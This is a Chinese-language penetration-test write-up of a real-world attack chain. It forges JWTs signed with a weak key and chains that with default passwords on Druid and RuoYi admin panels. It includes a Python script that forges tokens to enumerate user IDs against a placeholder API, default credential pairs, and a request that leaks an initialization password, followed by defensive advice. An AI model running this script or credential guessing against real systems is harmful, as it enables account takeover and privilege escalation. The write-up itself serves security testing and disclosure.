一次Jwt伪造漏洞实战案例分析
字数 1344 2025-08-20 18:17:07
JWT伪造漏洞与弱口令综合实战分析
1. 漏洞概述
本次实战案例中发现了两个主要安全漏洞:
- JWT弱密钥漏洞:系统使用弱密钥生成JWT令牌,攻击者可伪造任意用户令牌
- Druid弱口令漏洞:管理系统存在默认/弱口令,可获取敏感信息
这两个漏洞组合可导致完整的系统沦陷,从普通用户权限提升至管理员权限。
2. JWT基础知识
2.1 JWT结构
JWT(JSON Web Token)由三部分组成:
- Header:包含算法类型和token类型
- Payload:包含用户声明数据
- Signature:用于验证token完整性的签名
2.2 漏洞原理
当系统使用弱密钥生成JWT签名时,攻击者可以:
- 获取有效JWT样本
- 破解或猜测签名密钥
- 伪造任意用户的JWT令牌
- 使用伪造令牌获取未授权访问
3. 漏洞挖掘过程
3.1 目标发现
- 通过微信小程序作为入口点
- 选择"我的-微信登录"功能触发JWT生成
3.2 JWT收集与分析
- 抓取登录过程中的网络请求
- 识别响应中的JWT令牌
- 使用工具解码JWT获取结构信息
示例JWT解码:
Header:
{
"alg": "HS512",
"typ": "JWT"
}
Payload:
{
"user_id": 123,
"user_key": "1b00d587-528d-4a01-9464-49c2dcf2cebf",
"dept_id": null,
"tenant-id": 1001,
"username": "测试用户_8650"
}
3.3 JWT密钥爆破
- 使用
jwt-cracker等工具爆破密钥 - 发现系统使用弱密钥:
abcdefghijklmnopqrstuvwxyz - 验证密钥有效性
Python验证脚本示例:
import jwt
import base64
def verify_jwt(token, key):
try:
decoded = jwt.decode(token, key, algorithms=['HS512'])
return True
except:
return False
3.4 用户枚举攻击
- 发现payload中包含
user_id字段 - 编写脚本遍历所有可能的user_id
Python攻击脚本:
import jwt
import requests
import base64
key = "abcdefghijklmnopqrstuvwxyz"
secret = base64.b64decode(key[:len(key) - (len(key) % 4)])
for user_id in range(1, 4104):
payload = {
"user_id": user_id,
"user_key": "dummy-key", # 需要从有效JWT获取
"tenant-id": 1001
}
forged_jwt = jwt.encode(payload, key, algorithm="HS512")
headers = {
"Authorization": forged_jwt,
"source-client": "miniapp"
}
response = requests.get("https://target.com/system/api/getUserInfo", headers=headers)
if response.status_code == 200:
print(f"Valid user found: {user_id}")
print(response.json())
3.5 任意用户登录
- 清空小程序缓存重新登录
- 拦截登录响应
- 替换响应中的JWT为伪造令牌
- 成功以目标用户身份登录
4. Druid弱口令漏洞
4.1 后台发现
- 目录爆破发现
/system/druid/login.html - 注意请求需携带有效JWT
4.2 弱口令登录
使用常见弱口令组合:
- admin/admin
- admin/123456
- root/root
成功使用admin/123456登录后台
5. 系统横向移动
5.1 发现若依系统
- 在8081端口发现若依框架
- 使用已获取的JWT访问API
5.2 获取初始化密码
访问接口获取系统初始化密码:
GET /prod-api/system/config/2 HTTP/1.1
Host: target:8081
Authorization: [valid_jwt]
响应中包含默认密码:Eedssrcpt2024!
5.3 后台登录
- 枚举获取的用户名列表
- 使用默认密码登录后台
- 获取管理员权限
6. 防御措施
6.1 JWT安全最佳实践
- 使用强密钥(至少256位随机字符串)
- 定期轮换密钥
- 设置合理的令牌过期时间
- 避免在JWT中存储敏感信息
- 使用非对称加密算法(如RS256)
6.2 后台安全加固
- 修改所有默认密码
- 实施强密码策略
- 启用多因素认证
- 限制管理后台访问IP
- 监控异常登录行为
6.3 系统监控
- 实施JWT吊销机制
- 记录和分析JWT使用情况
- 监控异常API调用
7. 漏洞报告要点
向SRC提交此类漏洞时需包含:
- 漏洞详细复现步骤
- 漏洞危害证明(如获取的管理员权限截图)
- 漏洞原理分析
- 修复建议
- 相关时间戳和证据
8. 总结
本案例展示了如何通过组合漏洞从普通用户提升至系统管理员权限:
- 利用JWT弱密钥伪造高权限令牌
- 通过弱口令进入管理后台
- 利用信息泄露获取更多系统访问权限
这种攻击链在现实中十分常见,强调了纵深防御的重要性。